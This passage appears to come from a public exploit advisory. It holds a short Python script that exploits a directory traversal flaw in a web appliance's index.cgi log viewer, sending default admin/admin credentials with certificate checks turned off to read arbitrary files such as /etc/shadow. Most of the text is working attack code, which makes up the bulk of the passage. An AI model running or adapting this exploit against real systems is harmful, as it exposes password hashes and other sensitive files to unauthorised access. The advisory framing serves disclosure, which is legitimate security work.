The requested file was returned in the application's response. # Note that disclosure of the shadow file may allow an attacker to discover users' passwords # # Impact: # -------- # Successful exploitation could allow an attacker to obtain sensitive # information. import requests import sys if len(sys.argv) <2: print("Example Use: python exploit.py https://192.168.1.1:444 /etc/shadow") sys.exit(-1) else: files=sys.argv[2] url=sys.argv[1] with requests.session() as s: urlz=url+"/index.cgi?id=2-3&filelog=../../../../../../../../../../../../../../../../"+files+"&nlines=100&action=See+logs" response = s.get(urlz, auth=('admin', 'admin'), verify=False) txt=response.text print(response.text)
